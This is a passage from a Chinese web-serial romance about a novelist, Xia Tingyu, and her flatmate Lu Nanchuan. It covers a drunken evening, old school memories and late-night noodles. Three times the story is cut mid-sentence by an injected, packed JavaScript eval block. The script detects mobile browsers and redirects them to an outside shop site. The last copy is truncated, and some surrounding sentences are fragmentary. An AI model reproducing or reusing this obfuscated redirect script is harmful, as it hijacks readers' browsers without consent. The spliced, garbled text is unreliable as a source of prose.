看完电影又简单吃了个饭出来,城市华灯初上,她们在地铁站分了手,各自回家。 夏听雨进门时陆南川在客厅看文献。她急着上厕所,鞋都来不及换,包随手往沙发上一甩就冲进了卫生间。 在车上她就想上了,偏偏地铁站的厕所在对面出口,过去得绕一大圈只好憋回家。 关门和包落地的声音砰得重叠,陆南川视线收回来,停了手上得工作,放下平板起身捡起包拍了拍灰放好,转身去厨房接水。 夏听雨洗手出来换了拖鞋往沙发一躺,捞过包拿出手机给霞姐发消息到家了。 对面回得很快,说还有两站下车,再一次感谢了她的草莓。 夏听雨回了个开心的笑脸,收起手机去厨房。 冰箱里还有昨晚没吃完的草莓,端出来递给正在烧水的陆南川,他抓了几颗说不要了,夏听雨叼着颗回了客厅。 她登录作者后台,想看看章节替换后的反馈,刷新过页面,并没有什么新内容。 她唉叹,既为数据焦虑也为更新。 决定重写章节时潇洒无比,实则无存稿的狼狈只有自己知道,一想到待会儿还得写更新嘴里的草莓都不甜了,像条晒干了的咸鱼躺得毫无生机。 “难~受~啊~” “再喊凶点也减少不了疼痛。”陆南川水端到桌上,弯腰从抽屉里翻出一盒布洛芬,从铝箔板纸抠出一粒药,喊她起来吃了。 夏听雨一骨碌坐起,望着他手心的颗粒,不明所以,“这什么?” “布洛芬。” “我看到了,我意思是为啥给我。” 陆南川理所当然:“你不是肚子疼?” 陆南星从小就痛经,每回来月经时都痛得打滚,以前陆南川在家时没少帮她跑腿买药。 “什么时候?”夏听雨更懵了。 陆南川也一怔,“那你喊难受?” “我是难受啊,但不是因为身体。”她无辜眨眼,视线触及到那杯黑乎乎的姜茶,脑中被什么击中将昨晚的热红糖、白日来大姨妈喝热饮的霞姐以及眼下关联起来,她大惊,“所以你以为我来例假了?” “昨天我问你是不是不舒服,你说总有那么几天。”陆南川理所当然地认为是那方面,“难道不是?” 怪不得呢。 夏听雨扶额,有些哭笑不得,还是怪她说的话太有歧义了。 “不是。”夏听雨解释道,“我是在说卡文了。”她双手合十忏悔,“怪我没说清楚,sorry!” “身体没事就行。” 陆南川倒是没在意,抠出来的药不好塞回去,抽纸巾包住扔进垃圾桶。 夏听雨还是过意不去,思忖了忖,赔笑地递了颗草莓,说道:“放心,为了不让你白忙活,姜茶我会好好喝完的。” 陆南川拿回平板的手指一顿,侧目觑她,漆黑的瞳孔浮着玩味的光。 夏听雨被他盯得有点不自在,抠抠脸颊问怎么了。 陆南川正色说:“脸上有东西。” “诶?是什么?”夏听雨以为沾上脏东西了举起手机当镜子转脸检查,找了一圈也没看到,疑惑扭头就听到他慢悠悠吐出四个字。 “厚、颜、无、耻。” 10. 第 10 章 10 夏听雨脸皮一红,讪讪地抓抓脸颊为自己找借口:“我也是怕浪费嘛。” 边说着身子滑下沙发,单脚撑在地板趁他不注意指尖迅速摸上泡好的红糖姜水端过来,满足地发出一声轻喟。 也不知道他在哪里买的茶包。在保住红糖适宜甜度的同时也参杂了姜汁的辛辣,两者口感平衡得非常完美,不像她以前喝过的,要么只有甜味要么姜味重得想连同杯子一起丢了。 一走神喝的时候就忘记吹了,被烫得“我去去去”一声,热水洒出来。 陆南川丢下平板,抓起手拉她起来:“烫到哪儿了?” “没事没事,我穿得裤子厚。”夏听雨缩回手,掸掉落到裤子上的水珠,庆幸道,“还好我穿得厚,可惜洒了一半。” 陆南川捞过纸巾连抽几张递给她:“我又不会跟你抢,喝那么急干嘛。” 不知是否错觉,夏听雨听到他似乎很轻地叹了口气,诧异地盯着他。 “怎么?” 夏听雨摇摇头,擦完丢掉纸巾,要道:“你能把茶包的链接发我一个吗?” “……” 陆南川真是败给她了,无语到失笑,捡起平板丢下一句“垃圾桶捡的”眼不见人不气地回了房间。 夏听雨望着他重重的关门动静,困惑地眨了眨眼。 不给就不给,怎么还生气了,简直莫名奇妙。 夏听雨撇了撇嘴,收到芥末菜的消息,端着没喝完的水也回了房间。 重新理过大纲后主线脉络清晰了,但固有思维让她习惯性把之前写的剧情又渗进来,主角人设又开始漂浮,好在下笔就意识到了及时把思维拉回来。 她熬了通宵终于原来的章节替换了过来,之后几天也憋着口气窝在房间,每天一睁眼就是敲敲敲。之前吃饭前还会出来打打游戏追会儿剧,现在陆南川见过她的次数一只手都数得过来。有时早晨他出门上课了路过她的房间都能听到里面敲键盘的声音。 周六早晨,天气舒暖、万物始放,不知名的鸟儿此起彼伏的叽喳。 陆南川昨晚看开题报告睡得晚了些,起床也比平时迟,他扭着酸涩的脖子起床和黑眼圈快掉到地上的夏听雨同时开了门,视线不约而同撞上。 陆南川握住脖子做牵拉,问声早:“上卫生间?” 夏听雨点头。 他谦让道:“你先吧。” “好。” 作为一个时速五百的废物,夏听雨昨晚写了八千,终于在保证当天更新的基础上攒了一章存稿。她现在整个人都燃尽榨干了,只想上完厕所回去睡个昏天黑地,自然也不客气。 “我先去睡觉了,晚安——不对,早安。”上完厕所出来朝他道了声谢,话落反应过来说错了,轻拍额头转回脸来,重新道了遍,随后打着哈欠飘了回去。 陆南川的回应,含在嘴边成了跟木板的问好。 推开浴室,一股似有若无的果香萦迎面扑来萦绕鼻尖,在万物苏醒的含露清晨格外清晰。他嗅着香味目光停住。 洗漱台上不知什么时候多了一瓶橙色包装的洗手液,尖头泵口朝着洗手台,胖嘟嘟的圆形瓶身上印着半颗切开的柑橘和一行醒目的标注:婴幼儿泡泡洗手液 陆南川:“……” 午后阳光炽热,将屋内外的世界照得明亮耀眼。 夏听雨吃过饭懒得挪动,抱着一小碗草莓坐在餐桌上边看电视边刷朋友圈,余光瞥到陆南川提着厨余垃圾袋耳朵在打结,出声问:“你要出门啊?” 陆南川嗯,将垃圾放在门口,弯腰取鞋:“丢个垃圾,顺便去取快递。” 夏听雨脑袋跟着视线追随着他的身影转了一圈,想到在驿站呆了好几天的快递,举手申请:“我也要去!” 陆南川穿上鞋直起身,提醒她:“换衣服。” 夏听雨放下草莓碗,比了个“ok”的手势:“马上,等我两分钟!” 她随意擦了擦手,蹦起来回房间,几分钟后换了套简单的体恤配短裤,边走双手边在脑后抓着长发挽了个丸子头,捋捋刘海:“我好啦,走吧。” 陆南川没动。 “走啊。” 他目光下移:“鞋不换?” 夏听雨顺着视线低头看到脚上穿着的毛拖鞋,拍了下脑袋哎道:“我忘了。” 陆南川偏过身往边上移,和她交换位置。 夏听雨随便拿了双鞋往脚上套。她自小平衡感就不太好,鞋柜上又摆了其他东西,没了支撑单脚站不住地左右摇晃。 陆南川见状伸手过去。 夏听雨感谢地搭住,快速穿好鞋袜,顺势抬高他手臂穿过去摁下门把,先一步出去在门外倒催他快点。 陆南川摇摇头,俯身勾起垃圾袋,关上门,迈步向已经按好电梯朝他招手示意的夏听雨走去。 好天气总是令人心情愉悦,尤其是夏听雨这种幽闭了几天才出一次门的,感受着太阳暖哄哄晒在身上,幸福指数直线飙升。 丢完垃圾她愣是舍不得走了,拉着陆南川找了把空椅晒了一下午太阳,直到光线偏移到楼房后了才依依不舍地去取快递。 回来路过超市,本来想着家里牙膏快用完了买一支,进了门却被门口促销架上的牙刷吸引了。 五折的价格,还送个小青蛙保护套。夏听雨一下就心动了,都等不及待会儿结账再拿,伸手拿了一支再去找牙膏。 陆南川没有需要买的,在收银台等,看到她回来后手里拿的东西眼皮猛抽跳了两下。 他拿起结算台上的湿纸巾:“这是什么?” 夏听雨:“湿纸巾啊。” 陆南川提醒她:“这是婴儿用的。” “我知道,我就是专门买的婴儿用的。”夏听雨反问他,“你不觉得小宝宝的日用品才最安全嘛。” “牙刷又怎么说?”陆南川拾起另一样。 如果说日用品她的理由能过关,那儿童牙刷呢? 他调侃:“打算一颗一颗刷?” 收营员扫完了所有商品报了共计数,问:“怎么支付?” “支付宝。” 夏听雨打开支付宝看有两元支付红包,说稍等,下划快捷打开NFC往机器上碰了碰,转过身来,哦道:“牙刷是送的,我主要是想要那个保护套。而且牙刷也可以用来刷我的键帽,不算浪费。” 听她把本末倒置,指送为买,陆南川却并不意外。 她从以前就很喜欢这些可爱的东西。 收银员装好物品,递过来时推销道:“美女要不要看看酒,现在也在搞活动,买二送一。” “谢谢,我不喝——”听到后面一句,夏听雨话锋一转,“什么酒啊?” 收营员转头从身后的架子上取了瓶玻璃装的青梅酒推到前面:“卖得很好的,度数也不高,很适合你们小女生,要不要带两瓶?” 一款市面上风很大,营销满天飞的鸡尾酒,与其说是酒不如说是饮料。 夏听雨以前也爱喝,只是后面天冷之后染上了奶茶和咖啡,其他口饮就渐渐没沾了。 她想着看剧的时候可以喝,当然最重要的是打折,夏听雨避免不了“打折”两个字的魔力,再度打开付款码装了三瓶。 陆南川提过购物袋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165641|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬起手臂撩开吊帘让她过,打趣道:“其实买酒才是你的目的,牙膏只是顺带吧。” 夏听雨双手捂住嘴,眼珠子转得飞快,演技浮夸得要命:“糟糕,被发现了。” 本来是准备找个阳光明媚的周末喝的,但夏听雨迫不及待,早早更新后,上网搜了个调酒教程准备先喝一瓶。 教程里大多数都需要冰杯和养乐多,很不巧两样她都没有,所以决定用家里现有的水溶和草莓做简易版的。 陆南川去洗澡就见她在厨房乒乒乓乓地切着什么,吹完头发她拿着勺子在养生壶里压着什么,从卧室再度出来,她已经换到了客厅。许久不开的电视机开着,茶几上搁着养生壶和一叠草莓和一些辣条零食。 见到他两眼一亮,朝他招手,“陆南川陆南川!” 陆南川放好吹风机,手插兜信步走近,视线落在养生壶里,好奇她想干嘛。 “我刚调好的,要不要来一杯?”夏听雨端起养生壶倒了杯,递出去才想到忘了问,手缩回来,“你能喝酒吗?” “可以试试。”陆南川到对面的独椅上坐下,没说能不能,而是转向电视,“打算看什么?” “名侦探宇宙。” 夏听雨给自己也倒了杯,爬上沙发后靠着,拿过遥控点进剧集,“你看过嘛?” “看过一两个案子。” 有一回他到陆南星家吃饭,当时两口子就拿这综艺当下饭剧,后面为了真凶还差点吵起来。 他也是才发现综艺里的常驻嘉宾有她喜欢的偶像乔司言。 夏听雨噢,挑了一集:“那这案呢?” 陆南川端起杯子喝了口,眉头微蹙,太甜了,尤其里面的草莓碎更是恐怖,齁得嗓子痒。 他放下杯子,抬眸看向屏幕上熟悉的案子名称,手抵在嘴边轻咳了声:“没有。” 夏听雨放心了,指挥他调暗了灯光只留两盏墙灯作辅,点了播放。 住进来到现在还是第一次两人一起看剧,夜晚独特的静寂气息流通,周身安静地只剩下电视的声音。 中途夏听雨给自己续了两次酒。偏头问陆南川,问了两次他都捧着杯子没反应,夏听雨猜想他应该没喝完就没管他。 剧情快结束时有电话进来,夏听雨怕影响他,抓着电话回房间接,等打完再看综艺,真相都揭幕完毕,进度条来到了感谢赞助商环节。 她调亮灯光,提了个猜测的对象想知道自己猜对没有:“凶手是他吗?” 没听到回复,抬眼望去才发现他低垂着头阖眼不知何时睡了,杯子还抓在手心放在腿上。 春末的夜晚不比盛夏,依旧泛着凉意,在客厅睡肯定得着凉。 夏听雨收拾完桌面,犹豫着要不要喊醒他,去抽酒杯时蓦然撞上了他睁开的眼。 双眸点漆,像无声的深海底,静静地盯着她。 夏听雨心跳骤然漏了一拍。 “吓死我了。”她拍拍胸膛的余悸,长长呼了口气,“醒了就起来自己回房间睡。” 她抽走杯子拿去放好,回头见他依旧安坐如山,眼都不眨地望着她。 什么意思,还不打算睡? 夏听雨歪头和他对视,叹了口气,算了,随他。 她撇撇嘴,觉得今晚的陆南川格外得不爱搭理人,但她也困了难得深究。 “那你别看太晚,早点睡。” 把遥控塞到他手里,转身想要走,手腕被攫住了,还没反应过来,整个人就被猛得往后一拉失去重心跌坐在沙发上。 夏听雨惊呼,眉头蹙到一半就听他近乎耳语地咕哝了一句,“我不是蠢货。” 11. 第 11 章 11 夏听雨起身的动作一顿,电视机里还在播放片尾曲,他后面似乎还说了什么,她没听清,困惑地抬眸,“你说啥?” 对上的他迷茫的眼,夏听雨终于后知后觉到不对劲了。看着他脸颊和眼角都带了点红。 白日里那双能看穿人心的目光此刻也变得迟钝。 不会吧…… 夏听雨心里咯噔,谨慎试探:“陆南川,你该不会是喝醉了吧?” 陆南川只是蹙起眉头,歪头在思索她的问题。 夏听雨起身到他面前,弯腰,伸出食指在他眼前,诱导着他的视线从左边移到了右边再转回来,确认了。 她啧啧稀奇:“没想到啊陆南川,你居然一杯倒。还说能喝,骗子!” 陆南川摇头:“我没醉。” “是吗?那你干嘛握着我的手啊。”夏听雨提提起被他抓住的手,嗯哼,“既然没醉,那松开啊。” 她尝试抽回来,没抽动,每试一次他就拽得更紧。 夏听雨没招了,试图讲道理,在他手背上点点,“这是我的爪,你的在这里。” 陆南川垂眸瞟了眼,抿唇不说话,盯着她,拽得紧紧的。 “别光哦啊,似乎看不清,头越来越低最后额头抵在两人的手背上蹭了蹭,倒是显得有些乖。 夏听雨稀奇极了,突发奇想 还真别说,虽然醉了但他的逻辑和保密意识都还在,问的问题都对答如流,如果不是见过他正常时候的姿态还真以为他清醒着。 “我怎么有种被耍了的感觉呢。”夏听雨眯眼审视他,拉近距离,“陆南川,我是谁?” 她白皙而灵动的脸放大在眼前,晚风穿过客厅吹起他额前因为发热而撩起的碎发,浓纤睫毛颤了颤,眨动时幻视展翅的蝶翼。 酒精加速催化血液流动,脸色更加红润,歪头视线散焦在她脸上,拧着好看的眉在认真思考。 他的长相无疑是极其出挑的,干净利落的脸部轮廓,五官立体而精致,尤其是一双标准的瑞凤眼。她以前老觉得他的眼睛和她偶遇乔司言长得像,仔细一看却又不同。 乔司言的双眼皮宽而深,而他的却褶皱偏窄、初看会以为是单眼。内外眼角平行,眼尾平缓延申,沉默时像一谭寒潭神秘又危险。 睫毛浓纤似一把精心编织的羽毛扇。 夏听雨心尖犯痒,不禁好奇起他的睫毛长度和数量。 她想,我就测一下。 夏听雨屏住呼吸小心翼翼地凑到他面前,掐着指尖碰到他的睫毛,忽然他眨了下眼把她那口气吓跑了,下意识一抖,睫毛擦过在指腹留下两根睫毛。 “?!” 夏听雨双目骤然瞪圆,深吸了一口气,心想咆哮了声我靠。 她心虚地眨眨眼,欺负他现在没意识把捻起睫毛塞贴在他手背上,打时间差发表免责申明:“你自己搞掉地的,跟我没关系哈。醒了不许跟我碰瓷。” 陆南川眼珠从手背移动到她嘟嘟囔囔的脸上,启唇吐出两个字:“蠢货” “对不起,我不是故意的。”夏听雨以为他酒醒了,心虚之余不忘小声辩驳抗议,“但你人身攻击就过分了啊。” “我虽然没有你那么会读书,但也跟蠢挂不上钩吧。” 她一口气反驳完,发现他却在说完那句之后又沉默了。 两个人就这么面对面地坐着,夏听雨才反应过来他还没醒,又觉得莫名, 犟不过醉鬼夏听雨认输了,安抚嗯嗯嗯回应边哄他回房间,结果努力了半天陆南川直接背过去不理她了,等她不管他了,他视线又直追着你。 第一次见到这样幼稚又黏人的陆南川,夏听雨有一种毁三观又可爱的矛盾。 最后她扭不过睡沙发的犟种,抱来他的被子给他盖上。 一顿折腾到零点,夏听雨依旧精神,灵感还爆棚,洗漱完毕回房间又码了一章剧情才躺下。 翌日清晨,阳光穿透纱帘落进客厅。 陆南川从沙发上醒来,强光刺眼,他抬起手臂遮了遮眼,适应些了才起身坐起,俯身捡起滑落在毯子上的的被子,捏捏微微胀痛的太阳穴,意识在渐渐清醒。 昨天晚上他做了个纷杂的梦。 他梦见毕业那年夏听雨趴在一班的窗台上把他了叫出去,在声声撕裂的蝉鸣里递给他一封粉色套封的信件,信的内容却只有简短的一句话。 ——“蠢货,你以为我会喜欢你吗?” 再转眼又梦到不久前的重逢,她不记得他了,问他是谁。 陆南川不知道该怎么介绍自己,是陆南川、还是那封粉色信笺里的“蠢货”,直到被闹钟唤醒。 中午起床,客厅里已经恢复了原样,陆南川提着早餐从玄关进来。 两人隔空对上视线,有片刻的静寂。 陆南川先打破沉默,提了提手上的早餐到餐桌放下,回头对上她依旧打探的视线:“我多买了份早点,洗漱完来吃。” 夏听雨哦,快速刷了牙出来,趿拉着拖鞋过去拖开椅子坐在他对面。 买的早餐不仅有粥和包子还有豆浆油条,甚至还有茶叶蛋。 陆南川从厨房拿了新的筷子和勺,问她,“粥还是豆浆?” “豆浆油条。” 陆南川插好吸管把豆浆递给她,又切好的油条一并推过去,“鸡蛋要吗?” 夏听雨打开豆浆盖子,夹起油条块泡进,“可以。” 陆南川卷起袖子,隔着塑料袋将茶叶蛋蛋壳剥好后递给她,再拿起另一个开始剥,掀眸,说:“昨晚谢谢。” 夏听雨咬了口豆汁吸得饱满的油条,嗷呜嗷呜:“不客气。” 陆南川:“……” 陆南川起身拿来抽纸。 夏听雨擦过嘴角,吞下嘴里的东西,心虚地挪开视线打哈哈,“不客气不客气。” 陆南川蹙眉。 夏听雨继续哈哈,“哦对了,你昨晚说有人骂你蠢货。你前女友吗?” 陆南川喝粥的动作停住,面色不太好,“我昨晚还说这个了?” “对啊。” “除了这个有没有说什么?” 夏听雨八卦的小眼神亮起,“你女朋友吗?” 他喝粥,澄清:“我单身。” “那前女友?” “没有。” “前前女友?” 陆南川放下纸碗,掀帘直视:“都没有。” “都没有的意思是?” “没有过恋爱,更没有过前前前前女友。”他干脆一口气说完,喝完最后一口起身,椅子推回归位,手指搭着靠背慢条斯理说道,“还有别的要问的吗?” 夏听雨摇摇头,他走到厨房又扭过身,靠着椅背问道:“那骂你蠢货的是谁啊?” 陆南川面不改色地胡扯:“半路抢劫的。” “啊那确实挺深刻的。”夏听雨深有体会地点点头。 她初中有次在外面玩可能买的东西太多了,被两个大她的女生围堵抢劫,虽然最后没成功,但这件事至今她都没能忘记。 还是有疑惑,咬着豆浆吸管:“但她为什么要骂你啊?” 恼羞成怒也应该是含妈量极高的词啊,没道理战斗力这么弱。 陆南川摊手。 他也想知道为什么。 下午,两人都没事在家,天气又好,就约着把卫生搞了一遍。 夏听雨满足地躺着,不经意扭头时看到洒满阳光却空无一物的阳台时,终于从脑海里挖出了被她遗忘的躺椅。 那哪能行呢。 她弹坐起身,跑去敲陆南川的门。 陆南川正在跟打电话,陈修他们几个在要去球,在群里见他没回消息了,轮番打来电话叫他,陆南川被烦得不堪其扰。 正烦着,听到敲门,手捂住听筒,打开门:“怎么了?” 夏听雨看了眼他手上显示正在通话的手机,顿了下,抿唇说:“没事。” 还是等他打完再说吧。 陆南川察觉了,接起电话对着喋喋不休的那头回:“行了,我来。”利落挂了通话,再度看向下夏听雨,“现在可以说了。” “……” 夏听雨摸摸鼻尖,“也不是什么事,就是想问一下你我可以在阳台加个躺椅吗?” “可以。”陆南川说,“有什么需要想置的你看着办,买好了账单发我就行。” “?” 夏听雨怔愣,随即明白过来他是误解了,赶紧解释:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165642|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误会了,我只是怕你觉得家里东西太多了,不是要AA的意思。” 她瞟了向他手上再度响起的来电,“既然问完那你忙你的。” 过了会儿陆南川换了身衣服出来,路过客厅时,说道:“我有事出门一趟。” 夏听雨从电视屏幕里抬头,哦,“那你路上小心点。” “好。”他换好鞋,拿上钥匙开门,像是想起什么踅身,“在这里你想添什么物件都可以,随意些,不用询问我意见。” 他一走,夏听雨一个人躺在家里,打了两局游戏后,百无聊赖地处理起后台私信。 微博上,乔司言官方后援会更新了他最新的实绩图。 满满的数据图让身为粉丝的夏听雨与荣有焉。 她点了赞才退出来,后一秒悬浮栏便弹出最新资讯。 乔司言转发了电影《预见》官号的微博。 被营销号溜了娱乐圈一众演员的选角终于官宣了男女主。 《预见》改编自高人气同名小说《预见》,讲述了男主为救女友重返过去的故事,是网文大神木桐集悬疑破案和时空幻想为一体的奇幻文,脑洞其大,拥有庞大的读者群体。 夏听雨当初决定在绿江注册有一部分原因还是因为这位太太也在。 后来全职了也期望过以后能要个签名的幻想,没想到现在她最喜欢的作者竟然要和她偶像合作了。 双厨狂喜让她激动得无以复加,只能抱着手机在沙发上翻滚。 夏听雨感觉丢脸,但还是抑制不住开心等他进了屋又跳了起来,和乔曦和芥末菜都分享开心。 乔曦过了半个小时才回复过来,激励她:【所以你也快去干活,写出火文让你偶像来演】 作为不温不火的小菜鸡,夏听雨自知不可能,但内心还是受了触动,打开笔记本先些半章。 或许是心情好今天的效率格外的高,更新后的读者反馈也很好,良性循环之下手感越来越好接下来几天数据明显跟着上涨。换榜后还上了一个意料之外的好榜。 芥末菜的新书最近在收尾了,有空追她的连载,追得上头了晚上她们两连麦时还催更。 “你还真别说,重写之后确实不一样了。” 夏听雨听不得夸奖,嘿嘿:“有你这句话我努力就没白费。” “我感觉你这本可以飞。” 夏听雨哈哈一笑:“那就借芥末菜的大大的吉言了。” 写文这行起起落落是常态,保持平常心才是真。 聊着聊着两人就说到了面基的事。 按照约定本来去年七月芥末菜就该来宜市见她的,但是出发前三天她下楼的时候摔伤了腿,不的不把延后,之后她腿伤好了又杂七杂八宜耽误到了冬天。 最近她小说刚完结,考虑到七八月要开本新的连载,宜市最近也入夏了就想过来玩。 夏听雨倒是无所谓,“都可以,你什么时候过来我就什么时候陪你去玩。” “那就五一吧后,错开五一。” “可以。” 约定好挂了通话,夏听雨感觉有些饿,再看时间快凌晨两点了。 她摸摸肚子想起白天点奶茶时为了凑满减点了两个小零食,于是轻手轻脚下床摸到客厅找到椒盐锅巴拆开两袋小零食下去更饿了。 她只好去厨房搜刮。 把她储藏速食的地方来回搜刮了三遍只找到一包螺蛳粉。 夏听雨有些绝望。 大晚上的吃螺蛳粉也太罪孽了,但是真得好饿啊啊啊啊啊 她抱着螺蛳粉,在放与不放间做了八百个放回去的假动作之后,低念了句阿弥陀佛顺手抄起奶锅接水上灶台撕包装,下粉,开火,一气呵成。 抽烟机呜呜呜的工作着,等水烧开的间隙夏听雨刷了刷朋友圈,看着别人幸福美满,心尖酸涩,切到小红书。 夜晚的情绪总是容易低落,人会变得异常脆弱,夏听雨看着主页清一色晒收益晒版权的帖子,再想想自己全职多年甚至连本实体都没出过,心情不由沉重。 陆南川推开厨房门见到的就是这样一副画面。 她团缩在地上,下巴抵在膝盖上,小小的一只好像被全世界抛弃了一样,回头时眼尾猩红,眼角滚落一滴泪。 12. 第 12 章 12 陆南川心下一慌,握着门把的手紧了紧,张嘴询问的话语还没组织好,就见面色一变五官扭曲得皱成一团,伸手:“快快快拉我一把,腿抽筋了。” 沉闷的气氛消失的无影无踪,陆南川垂眼看着哇哇哇叫的夏听雨,不知是松了口气还是无奈,伸手将她拉起来扶着:“哪只脚?” 夏听雨抬抬右脚,但其实她两只脚都挺麻的。 可能是长期熬夜,她这几年身体素质明显不行了,气血不足到能坐就绝不站,能躺就绝不站。坐久了还会头晕目眩。 陆南川没有怀疑,指导道:“把左手举过头顶晃一晃。” “啊?”她以前都哪条腿麻就跺那只。 像是知道她心里想得,陆南川恐吓道:“不想腿截止就听话。” 不知是否是错觉,夏听雨从他恐吓的声音里带了哄意,她狐疑地眨了下睫毛,手倒是利落抬起照做,在头顶画圈活动指头。 过了会儿果然不麻了,夏听雨惊喜地哦了声:“果然有用耶,陆南川你好厉害。” “不厉害。”他回道,“网上学的。” “那也很厉害,我都是刷过就忘。” 陆南川不再这个话题过度纠缠,视线从她泪痕上移开望向灶台上咕噜咕噜冒泡的锅,提醒她水开了。 “打算做什么?”他移到旁边,笑说道,“大半夜听到有声响我以为有小偷,原来是只馋猫。” 夏听雨提起颧骨,不好意思:“饿得实在忍不住了。” 握上锅把想把热水换了,不想脚是不麻了换手使不上力气,提了两次都没提起来。 陆南川无奈,认命地接过她的位置,取下筷挑粉倒水再倒水,拆倒料包。到酸笋包的时候刚撕了一个小口,酸笋霸道的臭味就溢了出来。 “这包坏了。”陆南川抬手就要丢垃圾桶。 夏听雨连忙哎得制止,“别!它就是这个味。” 酸臭的气味不断袭击着嗅觉,陆南川嫌弃地伸长胳膊:“你在开玩笑?” 这臭玩意能吃? “这个叫酸笋,是螺蛳粉的灵魂!”夏听雨催促他快放进去,闻着熟悉的味道已经开始流口水了,诧异道,“你没吃过螺蛳粉吗?” 陆南川被这味道折磨的话都不想回了,只含糊嗯。 撕了个口子实在受不了,想撒手,“你自己来吧。” 夏听雨可怜巴巴瘪嘴,“我手使不上力气。” “……” 陆南川仰天深吸了口气,抽油机的动力改到最大档,侧目,“我真是欠你的。” 夏听雨抿唇笑道:“等煮好了我分你一半,我给你说别看闻着臭吃起来可好香了。” 陆南川呵呵直拒:“谢谢,不用。” 倒完最后一根笋,他赶紧甩开袋子压了泵洗洁精洗,细致地搓着双手,甚至连指甲缝都没放过。 夏听雨弓着腰憋笑快憋出内伤了。 陆南川气笑了,甩了她两滴水,威胁掉:“再笑大声点,信不信我把你连同这锅粉一起扔出去。” “我错了。”夏听雨双手捂嘴迅速滑跪,“不笑了。” 陆南川关了水龙头,顺便把大火转至小火,出厨房找纸巾擦手,给她递的时候无可避免地瞥到了晾干的泪痕,他清科咳:“你刚才为什么哭?” “嗯?” 他手指示意的点点泪痕:“你哭了。” “啊……哦。”夏听雨自然不好意思说是夜晚惯有的矫情时刻,打着哈哈:“脚太麻痛的。倒是你,”她跟着坐下,探究地打量着他,“我感觉你跟以前不一样了耶。” “哪不一样?”他揶揄,“高了还是帅了?” “都有。不过要说最大的变化……”她唔地斟酌了下,“比以前好相处多了,看着没那么凶了。” “凶?” 陆南川倒水的手顿落下,掀起眼皮睃了她一眼,“为什么这么说?” 他不记得自己有对她凶过。 夏听雨今晚记忆异常好,看着他一脸“你说的是我?”的质疑表情,有一种纳闷。 “还不是你以前老抓我。”她托着脸颊回忆语气放缓,“明明不戴校牌的那么多,结果每次你都只记我名字,害得我们老是被罚。” 高二时候一中的那张比门禁卡还大的卡片式校牌还没改革成后来的胸针。 卡面上的证件照是学校统一采集的,别说P一下,能把脸拍正常就烧香拜佛了,放眼全校能看的两只手都数得过来。 照片太丑加上挂校牌的系扣扣不严,经常走到半路校牌就会掉,久而久之自然没有什么人愿意戴,算是捅教导主任的痛点了。周一升旗仪式后他宣布以后不仅要穿校服还必须佩戴校牌,否则抓到扣班级分。 夏听雨忘性大,照片也拍得黢黑,除了吃饭会揣上其余时间基本都塞课桌里。陆南川那时是学生会会长,像在她身上按了雷达一样,每次都能精准逮到她没戴校牌。 有一回她校牌掉了,需要一周新的才会补办下来,那一周简直就是水逆,到哪儿都能碰到陆南川,连在教室坐眼保健操他都不放过。 思及此夏听雨气得又捶了下桌面,“都怪你,害我们班那周没拿到流动红旗,被班主任多罚写了一张试卷。” 陆南川却说:“我没记过你名字。” “我亲眼看到你写我名字了。” “写了不代表我一定会上报政教处。” 陆南川留她自己思索,估摸着螺蛳粉应该煮的差不多了,起身去厨房,走过她旁边时补充说:“无论是哪一次我都没报过你名字。” 夏听雨欸,闻言转身扒在椅背上很纳闷:“那你老记我名字干嘛?” 陆南川倒好粉端到她面前,回去拿了个小碗,垂眼觑她:“不然放你一马然后让其他人效仿。”他轻呵,“夏同学,劳烦你好好想想我放了你多少马了。” “学校严禁外带早餐。你倒好,天天在我眼皮子底下包子肉夹馍十几二十个地往书包里装,哪回我不是睁一只眼闭一只眼?” “到头来还说我凶。”陆南川说,“这世道果然好人难当。” 这、这样嘛。 夏听雨心虚地低头搅拌着螺蛳粉,不过几秒又倏然抬头,“不对啊,那是哪个王八蛋扣了分挂我头上啊。” “你确定是你的名字?”陆南川也疑惑了。 “对啊,我还被罚扫教室了。” 夏听雨看他沉眸在思索,也想跟着回忆,思绪却被腾腾地螺蛳粉热气给吸引走了。立即甩掉思考,算了都过去那么久了就算知道是谁干的也没有意义了,还是干饭比较重要。 她吸溜着口水,不死心地夹了一筷子邀请:“你真的不来一口吗?很香的。” “谢谢,你自己享受就好了。”陆南川闪开,生怕味道沾道自己,“我去洗澡了,吃完早点睡。” 夏听雨嗦着米粉,不方便开口地点头回应。 陆南川冲完澡出来,看她被辣得呼呼扇风吸气,轻叹一声给她接了杯水才回房睡觉。 一包螺蛳粉下肚,夏听雨胃里终于不再空空的了,身体也有了力气,感觉可以再码三千。 她洗干净碗筷放上沥水架,提起过滤网倒的时候看里面的残渣诧异地欸一声。 终于想起吃粉的时候总觉得少了什么了。 今天料包怎么没有花生呢? * 心软帮夏听雨煮螺蛳粉的结果就是即使洗过澡换了套衣服,陆南川依旧觉得身上有鼓味道,总是忍不住低头嗅闻衣袖。 唐锦书和几个师弟师妹抱着笔电在门口敲了敲办公间的门:“教授。” 陆南川思绪被拉回,敛起分神恢复神色。 “电脑都带了?” 唐锦书带着师弟师妹进门,拿出笔电:“带了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 